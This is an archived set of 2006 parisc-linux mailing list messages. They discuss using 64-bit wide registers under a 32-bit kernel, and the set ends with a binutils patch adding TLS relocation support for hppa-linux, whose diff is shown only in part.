Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F7E87D74D;
	Mon, 15 May 2006 04:56:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B67CD7D74B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 May 2006 04:56:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16181-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 May 2006 04:56:27 -0600 (MDT)
Original-Received: from omx1.americas.sgi.com (omx1-ext.sgi.com [192.48.179.11])
	by free.linux.hp.com (Postfix) with ESMTP id C16147D749
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 May 2006 04:56:27 -0600 (MDT)
Original-Received: from imr2.americas.sgi.com (imr2.americas.sgi.com [198.149.16.18])
	by omx1.americas.sgi.com (8.12.10/8.12.9/linux-outbound_gateway-1.1)
	with ESMTP id k4FAuMnx028384; Mon, 15 May 2006 05:56:24 -0500
Original-Received: from daisy-e236.americas.sgi.com (daisy-e236.americas.sgi.com
	[128.162.236.214])
	by imr2.americas.sgi.com (8.12.9/8.12.10/SGI_generic_relay-1.2) with
	ESMTP id k4FBFN7p29226410; Mon, 15 May 2006 04:15:23 -0700 (PDT)
Original-Received: from [144.253.156.13] (eye.emea.sgi.com [144.253.156.13]) by
	daisy-e236.americas.sgi.com (8.12.9/SGI-server-1.8) with ESMTP
	id k4FAuJQq8279023; Mon, 15 May 2006 05:56:20 -0500 (CDT)
User-Agent: Thunderbird 1.5 (X11/20060317)
In-Reply-To: <7d01f9f00605150255u5846f144u9c95cab3ffd35133@mail.gmail.com>
X-Enigmail-Version: 0.94.0.0
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gSsJIEJaa0Aovr6aejEzHL83Njh6dI6v
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23687

Thibaut VARENE wrote:
> On 15 May 2006 05:10:15 -0400, Jes Sorensen <jes@sgi.com> wrote:
>> What about setting an ELF flag or somesuch, set a task flag based on
>> this and then only do the extended register file backup for these
>> apps?
> 
> If that's possible *and* acceptable, it might be very helpful indeed.

I don't know anything about the PARISC ELF specification, but I think
it ought to be feasible.

Alternatively, if you can trap the instruction so you get a kernel trap
the first time the user app tries to do this and then set the flag then.
Otherwise there is the problem that someone will do some hand tuned
assembly that uses the 64 bit regs and you end up with mocked up state
if this goes undetected.

Cheers,
Jes
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] using 64bit wide registers with 32bit kernel
Date: Mon, 15 May 2006 07:53:04 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20060515115304.GA30488@skunkworks.cabal.ca>
References: <7d01f9f00605130841v6185b06dybae82c9f9c77e2b4@mail.gmail.com>
	<1147539787.6632.7.camel@mulgrave.il.steeleye.com>
	<yq0ves7psaw.fsf@jaguar.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624090 19623 80.91.229.3 (22 Nov 2014 02:41:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:30 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 parisc-linux@lists.parisc-linux.org,
 Thibaut VARENE <T-Bone@parisc-linux.org>
To: Jes Sorensen <jes@sgi.com>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 May 2006 12:01:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 15 May 2006 14:01:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B6407D757;
	Mon, 15 May 2006 06:01:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17224-07; Mon, 15 May 2006 06:01:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 62F5B7D759;
	Mon, 15 May 2006 06:01:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F69F7D756
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 May 2006 06:01:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17254-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 May 2006 06:01:04 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 1AFEF7D754
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 15 May 2006 06:01:04 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 2CA2E5840D0;
	Mon, 15 May 2006 08:01:01 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id A0F4F5840B7;
	Mon, 15 May 2006 08:01:00 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 34D6E23E83;
	Mon, 15 May 2006 08:01:00 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29600-03; Mon, 15 May 2006 08:01:00 -0400 (EDT)
Original-Received: from skunkworks.cabal.ca (skunkworks.cabal.ca [134.117.69.64])
	by fattire.cabal.ca (Postfix) with ESMTP id EBCE323E82;
	Mon, 15 May 2006 08:00:59 -0400 (EDT)
Original-Received: by skunkworks.cabal.ca (Postfix, from userid 1000)
	id 837152FED8; Mon, 15 May 2006 07:53:04 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <yq0ves7psaw.fsf@jaguar.mkp.net>
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: o1RbfB4PMmApvrSZZGFneQ8xMjQ1N12B
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23688

On Mon, May 15, 2006 at 05:10:15AM -0400, Jes Sorensen wrote:
> 
> What about setting an ELF flag or somesuch, set a task flag based on
> this and then only do the extended register file backup for these
> apps?
>

There are bits in the PA ELF supplement for stuff like this, for
example you can certainly have a PARISC2_0 ELF32 object file.

I proposed doing exactly this when it was first brought up. There is a
slight snag though, it could get icky internally... Whoever volunteers
to do it would certain be in for some fun in entry.S amongst other places.
Probably more effort than it is worth in other words. On the other hand
the work in the same areas is probably needed to ever support HPUX 
ELF binaries.

Cheers!
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] using 64bit wide registers with 32bit kernel
Date: Sun, 14 May 2006 19:06:09 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20060515010609.GA11984@colo.lackof.org>
References: <20060514062717.GA25973@colo.lackof.org>
	<200605141510.k4EFAUv7006350@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624090 19624 80.91.229.3 (22 Nov 2014 02:41:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 T-Bone@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 May 2006 01:06:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 15 May 2006 03:06:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 55D6A7D72C;
	Sun, 14 May 2006 19:06:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11487-01; Sun, 14 May 2006 19:06:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC3F87D723;
	Sun, 14 May 2006 19:06:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EF6657D715
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 19:05:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10771-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 19:05:58 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 116867D713
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 19:05:58 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2C5404581F9;
	Sun, 14 May 2006 19:06:11 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11555-05; Sun, 14 May 2006 19:06:09 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B2E8A4581CE; Sun, 14 May 2006 19:06:09 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200605141510.k4EFAUv7006350@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NOZBbP+fLi5n8ffRZWtpwfBjZml1ZBjU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23689

On Sun, May 14, 2006 at 11:10:30AM -0400, John David Anglin wrote:
> > Until HP 24-bit color gfx PCI cards work on pa2.0, I don't
> > see a good reason to implement this. Maybe 8-bit color with
> > a private color map is sufficient...
> 
> Tried firefox recently?

Not on parisc. I'm regularly using it on ia64 and x86.
When I had parisc desktop 2 years ago, I got fed up with
the 8-bit color (PCI Vis_EG) and no audio (fixed now).
That's why I moved to a zx2000 (ia64) desktop.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Add TLS support for hppa-linux.
Date: Sun, 14 May 2006 21:14:38 -0400
Lines: 1304
Approved: news@gmane.org
Message-ID: <119aab440605141814u586573e8gda4df70ff780b6e5__41673.1381010779$1416624090$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_4642_14911926.1147655678323"
X-Trace: ger.gmane.org 1416624090 19628 80.91.229.3 (22 Nov 2014 02:41:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:30 +0000 (UTC)
To: binutils@sourceware.org,
 "Dave Anglin" <dave.anglin@nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 May 2006 01:14:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 15 May 2006 03:14:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0680D7D735;
	Sun, 14 May 2006 19:14:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11421-08; Sun, 14 May 2006 19:14:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 89A057D72D;
	Sun, 14 May 2006 19:14:45 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 17A617D71A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 19:14:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11421-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 19:14:41 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.196])
	by free.linux.hp.com (Postfix) with ESMTP id F097A7D715
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 19:14:40 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id 9so51356nzo
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 May 2006 18:14:38 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:x-google-sender-auth;
	b=smuGl/b43o/JkTo5qFegYQr0RD5c2WTxsbYNI+K/XuKT8kEXLIPcQd5wjqpvy4sgPDybz27GKrW5jIEX5fnjWkf3aeWzZ++LsU18TyoDYTcfvasXJlI5MpmQaItNZODsMX7qlga44ZhnPMzMM+L9jT0AoyRq4nmsAkqkV9aQ3qg=
Original-Received: by 10.36.220.4 with SMTP id s4mr884857nzg;
	Sun, 14 May 2006 18:14:38 -0700 (PDT)
Original-Received: by 10.36.71.15 with HTTP; Sun, 14 May 2006 18:14:38 -0700 (PDT)
X-Google-Sender-Auth: 22b3448a5fc87d3c
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aL8CBbpMfW4orOWveGVojPdmdmllcsXp
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23690

------=_Part_4642_14911926.1147655678323
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

The following patches add TLS support for hppa-linux.

The specification draft for TLS support for hppa-linux is located here:
http://parisc-linux.org/documentation/tls/hppa-tls-implementation.pdf

GCC patches for TLS support are already in place.

GLIBC support is setup except for the final addition of the relocs
to elf/elf.h. Patch has been sent to libc-alpha.

Passes without regressions on hppa-linux.
More specific tests still need to be written.

Ok to commit?

Cheers,
Carlos.

------=_Part_4642_14911926.1147655678323
Content-Type: application/octet-stream; name=Changelog.binutils
Content-Transfer-Encoding: 7bit
X-Attachment-Id: f_en841avb
Content-Disposition: attachment; filename="Changelog.binutils"


include/elf/

2006-05-14  Carlos O'Donell  <carlos@systemhalted.org>
	    Randolph Chung  <randolph@tausq.org>
	* hppa.h (R_PARISC_TLS_GD21L, R_PARISC_TLS_GD14R, R_PARISC_TLS_GDCALL,
	R_PARISC_TLS_LDM21L, R_PARISC_TLS_LDM14R, R_PARISC_TLS_LDMCALL,
	R_PARISC_TLS_LDO21L, R_PARISC_TLS_LDO14R, R_PARISC_TLS_DTPMOD32, 
	R_PARISC_TLS_DTPMOD64, R_PARISC_TLS_DTPOFF32, R_PARISC_TLS_DTPOFF64): 
	New TLS relocs.
	(R_PARISC_TLS_LE21L, R_PARISC_TLS_LE14R, R_PARISC_TLS_IE21L,
	R_PARISC_TLS_IE14R, R_PARISC_TLS_TPREL32, R_PARISC_TLS_TPREL64):
	Define TLS relocs using existing equivalents.


bfd/

2006-05-14  Carlos O'Donell  <carlos@systemhalted.org>
	    Randolph Chung  <tausq@debian.org>
	    
	* elf-hppa.h (reloc_hppa_howto_table): Check bitfield for
	TPREL21L/TPREL14R relocations. Handle LTOFF_TP14R relocations.
	Add handling for TLS relocations.
	(elf_hpp_reloc_final_type): Handle TLS relocs.
	* elf32-hppa.c: Add authors for cleanup and TLS support.
	(hppa_elf_local_got_tls_type, hh_name, eh_name): Define.
	(elf32_hppa_link_hash_entry): Add tls_type.
	(elf32_hppa_link_hash_table): Add tld_ldm_got.
	(hppa_link_has_newfunc): Set tls_type.
	(elf32_hppa_link_hash_table_create): Set tls_ldm_got refcount.
	(hppa_stub_name): Use hh_name macro.
	(elf32_hppa_copy_indirect_symbol): Copy TLS information.
	(elf32_hppa_check_relocs): Call elf32_hppa_optimized_tls_reloc.
	Handle TLS relocs.
	(elf32_hppa_gc_sweep_hook): Likewise. 
	(allocate_dynrelocs): Handle TLS relocs.
	(elf32_hppa_size_dynamic_sections): Count space required by TLS
	relocs. Use hh_name macro.
	(dtpoff_base): New function.
	(tpoff): Likewise.
	(elf32_hppa_optimized_tls_reloc): Likewise.
	(final_link_relocate): Handle TLS relocs.
	(elf32_hppa_relocate_section): Handle TLS relocs. Use eh_name
	and hh_name macros.
	(elf32_hppa_finish_dynamic_symbol): Setup TLS got entries. Use
	hh_name and eh_name macros.
	(elf32_hppa_reloc_type_clas): Handle TLS relocs.

gas/

2006-05-14  Carlos O'Donell  <carlos@systemhalted.org>
	    Randolph Chung  <randolph@tausq.org>
	    
	* config/tc-hppa.c (is_tls_gdidx, is_tls_ldidx, is_tls_dtpoff,
	is_tls_ieoff, is_tls_leoff): Define.
	(fix_new_hppa): Handle TLS.
	(cons_fix_new_hppa): Likewise.
	(pa_ip): Likewise.
	(md_apply_fix): Handle TLS relocs.
	* config/tc-hppa.h (hppa_fix_adjustable): Handle TLS.



------=_Part_4642_14911926.1147655678323
Content-Type: application/octet-stream; 
	name=patch-binutils-tls-2006-05-15.diff
Content-Transfer-Encoding: 7bit
X-Attachment-Id: f_en848x14
Content-Disposition: attachment; filename="patch-binutils-tls-2006-05-15.diff"

Index: bfd/elf-hppa.h
===================================================================
RCS file: /cvs/src/src/bfd/elf-hppa.h,v
retrieving revision 1.81
diff -u -p -r1.81 elf-hppa.h
--- bfd/elf-hppa.h	25 Aug 2005 02:32:09 -0000	1.81
+++ bfd/elf-hppa.h	14 May 2006 23:14:44 -0000
@@ -387,7 +387,7 @@ static reloc_howto_type elf_hppa_howto_t
     bfd_elf_generic_reloc, "R_PARISC_UNIMPLEMENTED", FALSE, 0, 0, FALSE },
   { R_PARISC_TPREL32, 0, 0, 32, FALSE, 0, complain_overflow_dont,
     bfd_elf_generic_reloc, "R_PARISC_TPREL32", FALSE, 0, 0, FALSE },
-  { R_PARISC_TPREL21L, 0, 0, 21, FALSE, 0, complain_overflow_dont,
+  { R_PARISC_TPREL21L, 0, 0, 21, FALSE, 0, complain_overflow_bitfield,
     bfd_elf_generic_reloc, "R_PARISC_TPREL21L", FALSE, 0, 0, FALSE },
   { R_PARISC_UNIMPLEMENTED, 0, 0, 0, FALSE, 0, complain_overflow_dont,
     bfd_elf_generic_reloc, "R_PARISC_UNIMPLEMENTED", FALSE, 0, 0, FALSE },
@@ -395,7 +395,7 @@ static reloc_howto_type elf_hppa_howto_t
     bfd_elf_generic_reloc, "R_PARISC_UNIMPLEMENTED", FALSE, 0, 0, FALSE },
   { R_PARISC_UNIMPLEMENTED, 0, 0, 0, FALSE, 0, complain_overflow_dont,
     bfd_elf_generic_reloc, "R_PARISC_UNIMPLEMENTED", FALSE, 0, 0, FALSE },
-  { R_PARISC_TPREL14R, 0, 0, 14, FALSE, 0, complain_overflow_dont,
+  { R_PARISC_TPREL14R, 0, 0, 14, FALSE, 0, complain_overflow_bitfield,
     bfd_elf_generic_reloc, "R_PARISC_TPREL14R", FALSE, 0, 0, FALSE },
   { R_PARISC_UNIMPLEMENTED, 0, 0, 0, FALSE, 0, complain_overflow_dont,
     bfd_elf_generic_reloc, "R_PARISC_UNIMPLEMENTED", FALSE, 0, 0, FALSE },
@@ -413,7 +413,7 @@ static reloc_howto_type elf_hppa_howto_t
   { R_PARISC_UNIMPLEMENTED, 0, 0, 0, FALSE, 0, complain_overflow_bitfield,
     bfd_elf_generic_reloc, "R_PARISC_UNIMPLEMENTED", FALSE, 0, 0, FALSE },
   { R_PARISC_LTOFF_TP14R, 0, 0, 14, FALSE, 0, complain_overflow_bitfield,
-    bfd_elf_generic_reloc, "R_PARISC_UNIMPLEMENTED", FALSE, 0, 0, FALSE },
+    bfd_elf_generic_reloc, "R_PARISC_LTOFF_TP14R", FALSE, 0, 0, FALSE },
   { R_PARISC_LTOFF_TP14F, 0, 0, 14, FALSE, 0, complain_overflow_bitfield,
     bfd_elf_generic_reloc, "R_PARISC_LTOFF_TP14F", FALSE, 0, 0, FALSE },
   /* 168 */
@@ -557,6 +557,31 @@ static reloc_howto_type elf_hppa_howto_t
     bfd_elf_generic_reloc, "R_PARISC_GNU_VTENTRY", FALSE, 0, 0, FALSE },
   { R_PARISC_GNU_VTINHERIT, 0, 0, 0, FALSE, 0, complain_overflow_dont,
     bfd_elf_generic_reloc, "R_PARISC_GNU_VTINHERIT", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_GD21L, 0, 0, 21, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_GD21L", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_GD14R, 0, 0, 14, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_GD14R", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_GDCALL, 0, 0, 0, FALSE, 0, complain_overflow_dont,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_GDCALL", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_LDM21L, 0, 0, 21, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_LDM21L", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_LDM14R, 0, 0, 14, FALSE, 0, complain_overflow_bitfield,
+    bfd_elf_generic_reloc, "R_PARISC_TLS_LDM14R", FALSE, 0, 0, FALSE },
+  { R_PARISC_TLS_LDMCALL, 0, 0, 0, FALSE, 0, complain_overflow_dont,
